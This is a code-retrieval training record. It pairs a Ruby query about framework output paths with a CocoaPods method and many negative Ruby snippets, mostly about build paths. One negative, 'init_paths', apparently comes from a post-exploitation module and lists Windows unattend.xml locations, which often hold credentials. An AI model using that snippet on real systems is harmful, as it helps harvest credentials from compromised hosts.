[ "0.70226055", "0.6260233", "0.60946685", "0.60912216", "0.6058688", "0.6053993", "0.60456896", "0.6024619", "0.6005011", "0.59711254", "0.59552926", "0.5936528", "0.5935329", "0.5934319", "0.59150016", "0.59048796", "0.58765805", "0.5876535", "0.58716", "0.58592844", "0.58506787", "0.5844865", "0.57948786", "0.5793331", "0.5793051", "0.5793051", "0.57727075", "0.5770694", "0.5770694", "0.5770694", "0.5770694", "0.5770694", "0.57660645", "0.57393444", "0.5732894", "0.5716882", "0.5715416", "0.5705386", "0.5664542", "0.56595695", "0.56358016", "0.5622166", "0.56199", "0.5614196", "0.5614196", "0.5614196", "0.5614196", "0.55939823", "0.5591094", "0.5571369", "0.55667794", "0.55596775", "0.5555312", "0.5555312", "0.5551139", "0.55377704", "0.55348325", "0.5529781", "0.5526436", "0.55156064", "0.55067015", "0.54981184", "0.5489949", "0.5485603", "0.548226", "0.5478368", "0.54420346", "0.5438507", "0.5438507", "0.54309964", "0.54237", "0.5422356", "0.5413641", "0.5402611", "0.5395871", "0.53907156", "0.53894436", "0.5388898", "0.5383479", "0.5383291", "0.5382939", "0.5382619", "0.53777516", "0.5361143", "0.5360203", "0.53596544", "0.5358914", "0.5354546", "0.5350575", "0.5350012", "0.5338658", "0.53365475", "0.5334526", "0.53338337", "0.5322262", "0.5318308", "0.5317321", "0.5317269", "0.5315868", "0.5315232" ]
0.787345
0
Returns the framework output paths for the given framework paths
def embed_frameworks_output_paths(framework_paths, xcframeworks) paths = framework_paths.map do |framework_path| "${TARGET_BUILD_DIR}/${FRAMEWORKS_FOLDER_PATH}/#{File.basename(framework_path.source_path)}" end.uniq # Static xcframeworks are not copied to the build dir # so only include dynamic artifacts that will be copied to the build folder xcframework_paths = xcframeworks.select { |xcf| xcf.build_type.dynamic_framework? }.map do |xcframework| "${TARGET_BUILD_DIR}/${FRAMEWORKS_FOLDER_PATH}/#{xcframework.name}.framework" end paths + xcframework_paths end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def embed_frameworks_input_paths(framework_paths, xcframeworks)\n input_paths = framework_paths.map(&:source_path)\n # Only include dynamic xcframeworks as the input since we will not be copying static xcframework slices\n xcframeworks.select { |xcf| xcf.build_type.dynamic_framework? }.each do |xcframework|\n name = xcframework.name\n input_paths << \"#{Pod::Target::BuildSettings.xcframework_intermediate_dir(xcframework)}/#{name}.framework/#{name}\"\n end\n input_paths\n end", "def framework_directories\n return @framework_dirs unless @framework_dirs.nil?\n framework_path = File.join(@root_path, 'frameworks')\n if File.exists?(framework_path)\n @framework_dirs = Dir.entries(framework_path).reject do |x|\n (/^\\./ =~ x) || !File.directory?(File.join(framework_path,x))\n end\n else\n @framework_dirs = []\n end\n\n return @framework_dirs\n end", "def resource_output_paths(resource_input_paths)\n resource_input_paths.map do |resource_input_path|\n base_path = '${TARGET_BUILD_DIR}/${UNLOCALIZED_RESOURCES_FOLDER_PATH}'\n extname = File.extname(resource_input_path)\n basename = extname == '.xcassets' ? 'Assets' : File.basename(resource_input_path)\n output_extension = Target.output_extension_for_resource(extname)\n File.join(base_path, File.basename(basename, extname) + output_extension)\n end.uniq\n end", "def framework_names\n return @cache_framework_names unless @cache_framework_names.nil?\n\n ret = next_library.nil? ? [] : next_library.framework_directories\n ret += framework_directories\n return @cache_framework_names = ret.compact.uniq.sort\n end", "def framework_path\n File.join(config.build_products_dir, name)\n end", "def paths\n tree_path = File.join(File.dirname(__FILE__), 'rails_tree')\n [\"\", \"multitest\", \"results\"].inject([tree_path]) do |result, suffix|\n result << File.join(result[-1], suffix)\n end[1..3]\n end", "def default_assembly_paths\n paths = []\n paths.concat %w( bin ).map{ |dir| \"#{root_path}/#{dir}\"}.select{ |dir| File.directory?(dir) }\n end", "def target_frameworks\n if netcore?\n tfw = @proj_xml_node.css('Project PropertyGroup TargetFramework').inner_text\n tfws = @proj_xml_node.css('Project PropertyGroup TargetFrameworks').inner_text\n nfws = if tfw.nil? || tfw == '' then tfws else tfw end\n fws = nfws.split(';')\n else\n [ target_framework ]\n end\n end", "def add_framework_search_paths(project, name)\n\n ['iOS', 'macOS'].each do |platform|\n [true, false].each do |isTest|\n \tt = target(project, name, platform, isTest)\n\n \t# Add carthage build dir to framework search paths\n t.build_configuration_list.set_setting(\n 'FRAMEWORK_SEARCH_PATHS', \n \"$(SRCROOT)/#{carthage_build_dir_for_platform(platform)}\"\n )\n\n if isTest\n # Add carthage build dir to runpath search paths\n case platform\n when 'iOS'\n t.build_configuration_list.set_setting(\n 'LD_RUNPATH_SEARCH_PATHS',\n \"$(inherited) @executable_path/Frameworks @loader_path/Frameworks $(SRCROOT)/Carthage/Build/iOS\"\n )\n when 'macOS'\n t.build_configuration_list.set_setting(\n 'LD_RUNPATH_SEARCH_PATHS',\n \"$(inherited) @executable_path/../Frameworks @loader_path/../Frameworks $(SRCROOT)/Carthage/Build/Mac\"\n )\n end\n end\n end\n end\nend", "def native_library_artifact_paths(only_platforms = nil)\n platforms_list = only_platforms.nil? ? platforms : only_platforms\n extensions.keys.flat_map do |name|\n rubies.flat_map do |ruby|\n platforms_list.flat_map do |platform|\n if native_library_artifacts && native_library_artifacts[name.to_s]\n native_library_artifacts[name.to_s].map do |artifact_platform, artifacts|\n next unless platform == artifact_platform.to_s\n artifacts.map { |a| File.join(extensions_target_path, name.to_s, ruby, platform, a) }\n end\n elsif @project_config['native_artifacts'] && @project_config['native_artifacts'][name.to_s] # backward compatibility (e.g. esr-licensing <0.3)\n @project_config['native_artifacts'][name.to_s].map do |artifact|\n next unless platform == platform.to_s\n File.join(extensions_target_path, name.to_s, ruby.to_s, platform, artifact)\n end\n else\n [File.join(extensions_target_path, name.to_s, ruby.to_s, platform, name.to_s + '.so')]\n end\n end\n end\n end\nend", "def component_paths platform\n @component_paths||={} \n @component_paths['pc']||=FileList[\"#{@current_dir}/**/build.cfg\"].exclude(/\\/gen\\//,/\\/dsl\\//,/\\/programs\\//,/\\/mocks\\//,/\\/common/).pathmap('%d')\n @component_paths['common']||=FileList[\"#{@current_dir}/**/build.cfg\"].exclude(/\\/gen\\//,/\\/dsl\\//,/\\/programs\\//,/\\/mocks\\//).pathmap('%d')\n return @component_paths[platform]+@component_paths['common']\n end", "def paths\n @paths ||= [\n data_path,\n output_path,\n converted_path,\n converted_fail_path,\n unpacked_path,\n unpacked_fail_path,\n recreated_path,\n ]\n end", "def paths\n Array(config.path).map(&:to_s)\n end", "def load_paths\n [root.join('lib'), root.join('spec')].join(':')\n end", "def carthage_build_path(platform, framework)\n return \"#{carthage_build_dir_for_platform(platform)}/#{framework}\"\nend", "def paths_from_software_gems\n @paths_from_software_gems ||=\n Array(Config.software_gems).inject([]) do |array, name|\n if (spec = Gem::Specification.find_all_by_name(name).first)\n array << File.expand_path(spec.gem_dir)\n end\n\n array\n end\n end", "def paths\n configuration.paths\n end", "def filePaths\n result = OpenStudio::PathVector.new\n if @workflow[:file_paths]\n @workflow[:file_paths].each do |file_path|\n result << OpenStudio.toPath(file_path)\n end\n else\n result << OpenStudio.toPath('./files')\n result << OpenStudio.toPath('./weather')\n result << OpenStudio.toPath('../../files')\n result << OpenStudio.toPath('../../weather')\n result << OpenStudio.toPath('./')\n end\n result\n end", "def framework_bundles\n @cached_framework_bundles ||= framework_names.map { |x| bundle_for(x) }\n end", "def framework_root() @framework_root ||= File.dirname(__FILE__) end", "def paths\n unless @paths\n @paths = []\n @paths << project._(:source, :main, :assets) if File.exist?(project._(:source, :main, :assets))\n end\n @paths\n end", "def append_paths\n @append_paths ||= begin\n Wedge::Opal.append_path method(:assets_url).source_location.first.sub('/wedge.rb', '')\n Wedge::Opal.append_path \"#{Dir.pwd}/#{config.app_dir}\"\n end\n end", "def default_application_paths\n paths = []\n\n # Followed by the standard includes.\n paths.concat %w(\n config\n lib\n lib/core_ext\n app\n app/models\n app/controllers\n app/converters\n app/helpers\n ).map { |dir| \"#{root_path}/#{dir}\" }.select { |dir| File.directory?(dir) }\n end", "def mungle_paths(paths)\n return paths if terraform.pre_0_12?\n\n paths.map do |path|\n File.directory?(path) ? path : File.dirname(path)\n end.uniq\n end", "def framework_root\n @framework_root ||= File.dirname(__FILE__)\n end", "def expanded_seed_paths(seed_paths)\n seed_paths.collect { |path|\n if FileTest.directory?(path)\n binaries_in_directory(path)\n else\n path\n end\n }.flatten\nend", "def yay_paths\n\t\t\tresult = [current_path,local_yay_path,global_yay_path]\n\t\t\tgempaths.each { |v| \n\t\t\t\tresult.push gempath_to_yaypath(v)\n\t\t\t}\n\t\t\treturn result\n\t\tend", "def output_dll conf, fw\n output_paths(conf, fw).keep_if { |o| o.library? }.first\n end", "def lib_paths\n @mpc_project.recipe.get_relative_paths(@mpc_project.lib_paths)\n end", "def append_paths\n @append_paths ||= begin\n Wedge::Opal.append_path method(:assets_url).source_location.first.sub('/wedge.rb', '')\n Wedge::Opal.append_path \"#{Dir.pwd}/#{config.app_dir}\"\n\n true\n end\n end", "def paths; end", "def paths; end", "def paths; end", "def paths; end", "def paths; end", "def extract_test_frameworks\n @installed_frameworks = []\n @installed_frameworks << \"test_unit\" if Dir[File.join(destination_root, \"test\")].length > 0\n @installed_frameworks << \"rspec\" if Dir[File.join(destination_root, \"spec\")].length > 0\n \n if @installed_frameworks.length == 0\n # no test-related files created\n puts <<-EOS\nWARNING: you do not have a test-framework installed.\nRun either:\n script/generate install_test_unit\n script/generate install_rspec\n\nand then rerun this generator.\n EOS\n end\n end", "def path\n binpaths = []\n list.each do |name|\n lib = library(name)\n if lib.bindir?\n binpaths << lib.bindir\n end\n end\n binpaths\n end", "def paths\n Array(@ruhoh.cascade.paths.map{|h| h[\"path\"]}).map { |path|\n collection_path = File.join(path, resource_name)\n next unless File.directory?(collection_path)\n\n collection_path\n }.compact\n end", "def base_paths\n @base_paths ||= find_base_paths\n end", "def package_paths\n return @package_paths if defined?(@package_paths)\n\n @package_paths = begin\n output = Licensed::Shell.execute(\"php\", composer_application_path, \"show\", \"--format\", \"json\", \"--path\", allow_failure: true)\n return {} if output.to_s.empty?\n\n path_json = JSON.parse(output)\n return {} unless path_json[\"installed\"]\n\n path_json[\"installed\"].each_with_object({}) do |package, hsh|\n hsh[package[\"name\"]] = package[\"path\"]\n end\n end\n end", "def load_paths\n unless @load_paths\n @load_paths = []\n \n if File.directory?(app_path)\n @load_paths << app_path\n \n # Sort for consistency across platforms\n @load_paths.concat(Dir[\"#{app_path}/*/\"].map(&:chop).sort!)\n end\n end\n \n @load_paths\n end", "def paths\n self.config[:paths]\n end", "def paths\n @paths ||= []\n @paths\n end", "def paths\n @paths ||= []\n @paths\n end", "def paths\n root.paths\n end", "def getSharediOSFrameworkNames(framework_name)\n # TODO: Need to handle multiple projects\n framework_project_path = getCarthageProjectPath(framework_name)\n \n if framework_project_path.to_s.empty?\n return nil\n end\n \n framework_project = Xcodeproj::Project.open(framework_project_path)\n framework_shared_schemes = Xcodeproj::Project.schemes(framework_project_path)\n framework_targets = framework_project.native_targets.select { |framework_target| framework_target.iOSSharedFramework?(framework_shared_schemes) }\n all_framework_names = framework_targets.map { |framework_target|\n # Check target configuration file first\n framework_name = getConfigAttributes(framework_target)&.dig(\"PRODUCT_NAME\")&.delete! ';'\n \n if framework_name.to_s.empty?\n framework_name = framework_target.common_resolved_build_setting(\"PRODUCT_NAME\")\n end\n \n if framework_name == '$(TARGET_NAME)'\n framework_name = framework_target.name\n elsif framework_name == '$(TARGET_NAME:c99extidentifier)'\n # TODO: Add full support for 'c99extidentifier' if needed\n framework_name = framework_target.name\n elsif framework_name == '$(PROJECT_NAME)'\n framework_name = File.basename(framework_project_path, \".*\")\n end\n \n framework_name\n }\n \n return all_framework_names\nend", "def paths_from_project_root\n @paths_from_project_root ||=\n [Config.project_root]\n end", "def asset_paths\n paths = @parts.values.map(&:asset_path)\n paths << File.dirname(script) if script\n paths << File.dirname(stylesheet) if stylesheet\n paths.compact.uniq\n end", "def lookup_paths\n if list = ENV['RUBY_LIBRARY']\n list.split(/[:;]/)\n #elsif File.exist?(path_file)\n # File.readlines(path_file).map{ |x| x.strip }.reject{ |x| x.empty? || x =~ /^\\s*\\#/ }\n elsif ENV['GEM_PATH']\n ENV['GEM_PATH'].split(/[:;]/).map{ |dir| File.join(dir, 'gems', '*') }\n elsif ENV['GEM_HOME']\n ENV['GEM_HOME'].split(/[:;]/).map{ |dir| File.join(dir, 'gems', '*') }\n else\n warn \"No Ruby libraries.\"\n []\n end\n end", "def monitored_paths\n paths = Dir['**/*'].select do |path|\n @script.patterns.any? {|p| path.match(p) }\n end\n paths.push(@script.path).compact!\n paths.map {|path| Pathname(path).expand_path }\n end", "def append_paths\n @append_paths ||= begin\n file = method(:components).source_location.first.sub('/wedge.rb', '')\n Wedge::Opal.append_path file\n Wedge::Opal.append_path Dir.pwd\n end\n end", "def getCarthageProjectPath(framework_name)\n framework_project_paths = Dir['Carthage/Checkouts/' + framework_name + '/**/*.xcodeproj']\n \n if framework_project_paths.empty?\n abort(\"\\nCan't find framework project\\n\".red)\n end\n \n framework_project_paths.each { |framework_project_path|\n # Get proper targets\n framework_shared_schemes = Xcodeproj::Project.schemes(framework_project_path)\n framework_project = Xcodeproj::Project.open(framework_project_path)\n framework_targets = framework_project.native_targets.select { |framework_target| framework_target.iOSSharedFramework?(framework_shared_schemes) }\n \n if framework_targets.any?\n return framework_project_path\n end\n }\n \n return nil\nend", "def putPaths()\r\n\t\tif @paths.nil?\r\n\t\t\tputs \"Empty Path\"\r\n\t\telsif @paths.respond_to?(\"join\")\r\n\t\t\tputs \"Path: #{@paths.join(\", \")}\"\r\n\t\telse\r\n\t\t\tputs \"Path: #{@paths}\"\r\n\t\tend\r\n\tend", "def paths_s\n \"['#{paths.join(\"','\")}']\"\n end", "def find_executables\n\t\tpaths = self.project_files.find_all do |path|\n\t\t\tpath.start_with?( 'bin/' )\n\t\tend\n\t\treturn paths.map {|path| path[%r{^bin/(.*)}, 1] }\n\tend", "def alternate_bin_paths\n [\n PDK::Util::RubyVersion.bin_path,\n File.join(PDK::Util::RubyVersion.gem_home, 'bin'),\n PDK::Util::RubyVersion.gem_paths_raw.map { |gem_path_raw| File.join(gem_path_raw, 'bin') },\n PDK::Util.package_install? ? File.join(PDK::Util.pdk_package_basedir, 'bin') : nil\n ].flatten.compact\n end", "def source_paths\n paths = raw_require_paths.dup\n\n if have_extensions?\n ext_dirs = extensions.map do |extension|\n extension.split(File::SEPARATOR, 2).first\n end.uniq\n\n paths.concat ext_dirs\n end\n\n paths.uniq\n end", "def paths\n paths = {}\n end", "def paths\n paths = {}\n end", "def resolve_paths names\n if context.tag_filters.any?\n # Bats doesn't support tags\n []\n elsif names.any?\n paths = []\n for name in names\n paths.concat Array(resolve_name name)\n end\n paths\n else\n [test_dir]\n end\n end", "def create(framework_name)\n results = Hash[:framework => framework_name, :directories => [],\n :files => [], :rakefile => 'Rakefile']\n\n dir = File.join(File.dirname(File.expand_path(__FILE__)), 'generators', framework_name)\n Dir.chdir dir\n Dir[\"**/*\"].each do |f|\n results[:files].push f unless f == 'Rakefile' or File.directory? f \n results[:directories].push f if File.directory? f\n end\n\n results\n end", "def files_to_diff\n files = {}\n COMPARISON_PATHS.each do |framework_dir, project_dir|\n Dir.new(\"#{get_path_to_rails_gem}#{framework_dir}\").entries.reject { |e| /^\\./.match(e) }.each do |file|\n framework_file = \"#{get_path_to_rails_gem}#{framework_dir}#{file}\"\n project_file = \"#{project_path}#{project_dir}#{file}\" \n files[framework_file] = project_file\n end\n end\n \n COMPARISON_FILES.each do |framework_file, project_file|\n files[\"#{get_path_to_rails_gem}#{framework_file}\"] = \"#{project_path}#{project_file}\"\n end\n \n files\n end", "def path(match, options={})\n found = []\n systems.each do |system|\n found.concat system.path(match, options)\n end\n found.uniq\n end", "def set_carthage_framework_search_paths_for_target(target, platform)\n target.build_configuration_list.set_setting(\n 'FRAMEWORK_SEARCH_PATHS', \"$(SRCROOT)/Carthage/Build/#{platform}\"\n )\nend", "def header_include_paths\n cmd = RbConfig::MAKEFILE_CONFIG[\"CC\"]\n args = %w{-Wp,-v -xc /dev/null -fsyntax-only}\n paths = []\n reading_paths = false\n run_command(cmd, *args) do |line|\n line.chomp!\n if reading_paths\n if line == 'End of search list.'\n reading_paths = false\n elsif line.match(/\\A /)\n line.strip!\n line.sub!(/\\s+\\(framework directory\\)\\Z/, '')\n paths << line\n end\n elsif line == '#include <...> search starts here:'\n reading_paths = true\n end\n end\n paths\nend", "def add_embed_frameworks_script_phase(native_target, spec)\n script_path = \"${PODS_ROOT}/#{target.embed_frameworks_script_path_for_spec(spec).relative_path_from(target.sandbox.root)}\"\n\n input_paths_by_config = {}\n output_paths_by_config = {}\n\n dependent_targets = if spec.test_specification?\n target.dependent_targets_for_test_spec(spec)\n else\n target.dependent_targets_for_app_spec(spec)\n end\n host_target_spec_names = target.app_host_dependent_targets_for_spec(spec).flat_map do |pt|\n pt.specs.map(&:name)\n end.uniq\n framework_paths = dependent_targets.flat_map do |dependent_target|\n spec_paths_to_include = dependent_target.library_specs.map(&:name)\n spec_paths_to_include -= host_target_spec_names\n spec_paths_to_include << spec.name if dependent_target == target\n dependent_target.framework_paths.values_at(*spec_paths_to_include).flatten.compact\n end.uniq\n xcframework_paths = dependent_targets.flat_map do |dependent_target|\n spec_paths_to_include = dependent_target.library_specs.map(&:name)\n spec_paths_to_include -= host_target_spec_names\n spec_paths_to_include << spec.name if dependent_target == target\n dependent_target.xcframeworks.values_at(*spec_paths_to_include).flatten.compact\n end.uniq\n\n if use_input_output_paths? && !framework_paths.empty? || !xcframework_paths.empty?\n input_file_list_path = target.embed_frameworks_script_input_files_path_for_spec(spec)\n input_file_list_relative_path = \"${PODS_ROOT}/#{input_file_list_path.relative_path_from(target.sandbox.root)}\"\n input_paths_key = UserProjectIntegrator::TargetIntegrator::XCFileListConfigKey.new(input_file_list_path, input_file_list_relative_path)\n input_paths_by_config[input_paths_key] = [script_path] + UserProjectIntegrator::TargetIntegrator.embed_frameworks_input_paths(framework_paths, xcframework_paths)\n\n output_file_list_path = target.embed_frameworks_script_output_files_path_for_spec(spec)\n output_file_list_relative_path = \"${PODS_ROOT}/#{output_file_list_path.relative_path_from(target.sandbox.root)}\"\n output_paths_key = UserProjectIntegrator::TargetIntegrator::XCFileListConfigKey.new(output_file_list_path, output_file_list_relative_path)\n output_paths_by_config[output_paths_key] = UserProjectIntegrator::TargetIntegrator.embed_frameworks_output_paths(framework_paths, xcframework_paths)\n end\n\n if framework_paths.empty? && xcframework_paths.empty?\n UserProjectIntegrator::TargetIntegrator.remove_embed_frameworks_script_phase_from_target(native_target)\n else\n UserProjectIntegrator::TargetIntegrator.create_or_update_embed_frameworks_script_phase_to_target(\n native_target, script_path, input_paths_by_config, output_paths_by_config)\n end\n end", "def load_paths\n unless @load_paths\n @load_paths = []\n \n if File.directory?(app_path)\n @load_paths << app_path\n \n # Sort for consistency\n self.class.mixable_app_types.keys.map(&:to_s).sort.each do |type|\n path = \"#{app_path}/#{type}\"\n @load_paths << path if File.directory?(path)\n end\n end\n end\n \n @load_paths\n end", "def init_paths\n drive = session.sys.config.getenv('SystemDrive')\n\n files =\n [\n 'unattend.xml',\n 'autounattend.xml'\n ]\n\n target_paths =\n [\n \"#{drive}\\\\\",\n \"#{drive}\\\\Windows\\\\System32\\\\sysprep\\\\\",\n \"#{drive}\\\\Windows\\\\panther\\\\\",\n \"#{drive}\\\\Windows\\\\Panther\\Unattend\\\\\",\n \"#{drive}\\\\Windows\\\\System32\\\\\"\n ]\n\n paths = []\n target_paths.each do |p|\n files.each do |f|\n paths << \"#{p}#{f}\"\n end\n end\n\n # If there is one for registry, we add it to the list too\n reg_path = get_registry_unattend_path\n paths << reg_path unless reg_path.empty?\n\n return paths\n end", "def _output_paths(file)\n input_file_dir = File.dirname(file)\n file_name = _output_filename(file)\n file_name = \"#{file_name}.erb\" if _append_html_ext_to_output_path?(file_name)\n input_file_dir = input_file_dir.gsub(Regexp.new(\"#{options[:input]}(\\/){0,1}\"), '') if options[:input]\n\n if options[:output]\n Array(options[:output]).map do |output_dir|\n File.join(output_dir, input_file_dir, file_name)\n end\n else\n if input_file_dir == ''\n [file_name]\n else\n [File.join(input_file_dir, file_name)]\n end\n end\n end", "def measurePaths\n result = OpenStudio::PathVector.new\n if @workflow[:measure_paths]\n @workflow[:measure_paths].each do |measure_path|\n result << OpenStudio.toPath(measure_path)\n end\n else\n result << OpenStudio.toPath('./measures')\n result << OpenStudio.toPath('../../measures')\n result << OpenStudio.toPath('./')\n end\n result\n end", "def paths\n @paths ||= begin\n paths = super\n paths.add 'config/routes.rb', with: 'routes.rb'\n paths.add 'config/locales', with: 'locales', glob: \"**/*.{rb,yml}\"\n paths\n end\n end", "def flex_output\n\n flex_output = ENV['TM_FLEX_OUTPUT']\n proj_dir = proj_root\n\n if flex_output && proj_dir\n return proj_dir + '/' + flex_output\n end\n\n fx_out = file_specs.sub(/\\.(mxml|as)/, \".swf\")\n\n #TODO: Link to usual src dirs and improve sub with a regexp that\n #matches src backwards (ie foo/src/bar/src/class) from the end of line.\n if File.exist?( proj_dir.to_s + '/bin' )\n fx_out.sub!('src','bin')\n end\n\n fx_out\n\n end", "def build_view_paths(paths); end", "def test_framework_runtimes\n find_duplicates :frameworks\n end", "def includeDirs() return @INCDIRS end", "def desired_contents\n @environments.map {|env| env.dirname }\n end", "def stage_install_paths(stage)\n select_existing_paths = proc do |cookbook_path, paths|\n paths.select {|from, _| cookbook_path.join(from).exist?}\n end\n\n common_paths = [['metadata.json', 'metadata.json']]\n\n Dir[vendor_path.join('*')]\n .map(&Pathname.method(:new))\n .map do |cookbook_path|\n cookbook_name = File.basename cookbook_path\n is_builder = (cookbook_name == name)\n is_dimod = cookbook_name.start_with? 'dimod-'\n dimod_enabled = is_dimod && enabled_modules.include?(cookbook_name)\n\n paths = if is_builder\n common_dapp_paths = select_existing_paths.call(\n cookbook_path,\n [\n *common_paths,\n [\"files/#{stage}/common\", 'files/default'],\n [\"templates/#{stage}/common\", 'templates/default'],\n *enabled_recipes.flat_map do |recipe|\n [[\"files/#{stage}/#{recipe}\", 'files/default'],\n [\"templates/#{stage}/#{recipe}\", 'templates/default']]\n end\n ]\n )\n\n recipe_paths = enabled_recipes\n .map {|recipe| [\"recipes/#{stage}/#{recipe}.rb\", \"recipes/#{recipe}.rb\"]}\n .select {|from, _| cookbook_path.join(from).exist?}\n\n if recipe_paths.any?\n [*recipe_paths, *common_dapp_paths]\n else\n [nil, *common_dapp_paths]\n end\n elsif is_dimod && dimod_enabled\n common_dimod_paths = select_existing_paths.call(\n cookbook_path,\n [\n *common_paths,\n [\"files/#{stage}\", 'files/default'],\n ['files/common', 'files/default'],\n [\"templates/#{stage}\", 'templates/default'],\n ['templates/common', 'templates/default'],\n [\"attributes/#{stage}.rb\", \"attributes/#{stage}.rb\"],\n ['attributes/common.rb', 'attributes/common.rb']\n ]\n )\n\n recipe_path = \"recipes/#{stage}.rb\"\n if cookbook_path.join(recipe_path).exist?\n [[recipe_path, recipe_path], *common_dimod_paths]\n else\n [nil, *common_dimod_paths]\n end\n elsif !is_dimod\n [['.', '.']]\n end\n\n [cookbook_path, paths] if paths && paths.any?\n end.compact\n end", "def sdk_dir_list\n src_dirs = ENV['TM_FLEX_SDK_SEARCH_PATHS'] || FLEX_DIRS.join(\":\")\n src_dirs\n end", "def base_paths\n [Pkg::Config.yum_repo_path, Pkg::Config.apt_repo_staging_path, Pkg::Config.apt_repo_path, '/opt/downloads'].compact\n end", "def output_path; end", "def gempaths\n\t\t\treturn Gem.path\n\t\tend", "def combine( path_list )\n path_list\n .collect { |p| File.read( File.join(SRC_DIR, p) ) }\n .join(\"\\n\\n\")\n end", "def join_paths(paths)\n paths.join('/').gsub(%r{/+}, '/')\n end", "def paths\n @paths ||= {}\n end", "def default_load_paths\n return if ENV['DYLD_LIBRARY_PATH'].nil?\n paths = %w(\n models\n controllers\n db\n ).map {|dir| \"#{Pathname.new(ENV['DYLD_LIBRARY_PATH'] + \"../../../\").cleanpath}/#{dir}\" }.select { |dir| File.directory?(dir) }\n end", "def PATH()\n path = []\n list.each do |name|\n lib = Library[name] # TODO: This activates each library, probably not what we want, get max version instead?\n path << lib.bindir if lib.bindir?\n end\n path.join(windows_platform? ? ';' : ':')\n end", "def component_names platform\n @component_names={}\n @component_names['pc']||=FileList[\"#{@current_dir}/**/build.cfg\"].exclude(/\\/gen\\//,/\\/dsl\\//,/\\/programs\\//,/\\/mocks\\//,/\\/common/).pathmap('%-2d')\n @component_names['common']||=FileList[\"#{@current_dir}/**/build.cfg\"].exclude(/\\/gen\\//,/\\/dsl\\//,/\\/programs\\//,/\\/mocks\\//,/\\/pc/).pathmap('%-2d')\n return @component_names[platform]+@component_names['common']\n end", "def includedirs\n res = []\n @flags.each { |f| res.push f if f =~ /^-I/ }\n res.join \" \"\n end", "def output_files\n @output_files ||= to_file(@args.output)\n end", "def standard_maps\n\n case self.current_framework\n when :testunit\n map /^controllers/ do\n target /^unit/ do\n file_name do |value, cargo|\n buffer = File.basename(cargo, \".rb\").gsub(\"s_controller\", \"\")\n value =~ /#{buffer}_test.rb/ ? true : false\n end\n end\n target /^functional/ do\n file_name do |value, cargo|\n buffer = File.basename(cargo, \".rb\").gsub(\"_controller\", \"\")\n value =~ /#{buffer}_controller_test.rb/ ? true : false\n end\n end\n end\n map /^models/ do\n target /^unit/ do\n file_name do |value, cargo|\n value =~ /#{File.basename(cargo, \".rb\")}_test.rb/ ? true : false\n end\n end\n target /^functional/ do\n file_name do |value, cargo|\n value =~ /#{File.basename(cargo, \".rb\")}s_controller_test.rb/ ? true : false\n end\n end\n end\n\n when :rspec\n map /^controllers/ do\n target /^models/ do\n file_name do |value, cargo|\n buffer = File.basename(cargo, \".rb\").gsub(\"s_controller\", \"\")\n value =~ /#{buffer}_spec.rb/ ? true : false\n end\n end\n target /^controllers/ do\n file_name do |value, cargo|\n buffer = File.basename(cargo, \".rb\").gsub(\"_controller\", \"\")\n value =~ /#{buffer}_controller_spec.rb/ ? true : false\n end\n end\n end\n map /^models/ do\n target /^models/ do\n file_name do |value, cargo|\n value =~ /#{File.basename(cargo, \".rb\")}_spec.rb/ ? true : false\n end\n end\n target /^controllers/ do\n file_name do |value, cargo|\n value =~ /#{File.basename(cargo, \".rb\")}s_controller_spec.rb/ ? true : false\n end\n end\n end\n end\n\n end", "def upload_paths\n @paths ||= begin\n (images + files + renders).map do |name|\n file_path = @directory.join(name)\n\n next unless File.readable?(file_path)\n\n file_path\n end.compact\n end\n end", "def get_paths(namespace = MAIN_NAMESPACE)\n @paths[namespace] || []\n end", "def generate_require_paths; end", "def load_framework_interfaces\n interfaces = Array.new\n components_directory = \"#{File.dirname(__FILE__)}/../\"\n Dir.entries(components_directory).select {|entry| File.directory?(File.join(components_directory, entry)) && !(entry =='.' || entry == '..') }.each do |iface_dir|\n interfaces.push(extract_interface_info( components_directory, iface_dir)) if File.exist?(\"#{components_directory}#{iface_dir}/index.html\")\n end\n interfaces\nend", "def add_gem_paths; end", "def taken_paths\n if @target.exist?\n @target.children.select { |path| jobdir_name?(path.basename.to_s) }\n else\n []\n end\n end", "def add_frameworks_bundles\n UI.message '- Adding frameworks' do\n add_file_accessors_paths_to_pods_group(:vendored_frameworks, :frameworks)\n end\n end", "def paths\n @paths ||= {}.with_indifferent_access\n end", "def paths\n Hash[ (formats + self.class::VERSION_FORMATS.keys).map{ |f| [f, path(f)] } ]\n end", "def get_dirs\n Dir.glob(\"#{@options[:load_path]}/*/**/\")\n end" ]
[ "0.70253336", "0.6675473", "0.653083", "0.6499567", "0.63632137", "0.62908715", "0.6255764", "0.62101877", "0.6208901", "0.6195849", "0.6144477", "0.61337125", "0.60706973", "0.6053972", "0.5964605", "0.5962045", "0.58769554", "0.5866441", "0.58415556", "0.5834538", "0.5834326", "0.5832444", "0.58107877", "0.5781262", "0.5756578", "0.5745145", "0.5738203", "0.5723099", "0.57139564", "0.5697727", "0.5692762", "0.5692762", "0.5692762", "0.5692762", "0.5692762", "0.5682003", "0.56752086", "0.5663037", "0.565587", "0.5654449", "0.5624024", "0.56138235", "0.5611972", "0.5611972", "0.5608165", "0.5607243", "0.55673385", "0.5554868", "0.55395776", "0.5534611", "0.5525421", "0.5519446", "0.5495063", "0.5493218", "0.5490498", "0.5468663", "0.54310113", "0.5428451", "0.5428451", "0.541974", "0.5400711", "0.5398992", "0.53951865", "0.53863245", "0.5372545", "0.53692114", "0.5367213", "0.5360157", "0.5359875", "0.5358936", "0.5357682", "0.5357539", "0.5356823", "0.5349501", "0.5344018", "0.53438514", "0.53355604", "0.5333118", "0.53328025", "0.5329021", "0.5326953", "0.5308818", "0.5306893", "0.5305675", "0.53047675", "0.5300405", "0.5298875", "0.52953345", "0.529494", "0.5285742", "0.52804965", "0.5273409", "0.52729607", "0.526789", "0.52599734", "0.5258504", "0.5255408", "0.52519107", "0.52466595", "0.5226603" ]
0.7923304
0
Updates a projects native targets to include on demand resources specified by the supplied parameters. Note that currently, only app level targets are allowed to include on demand resources.
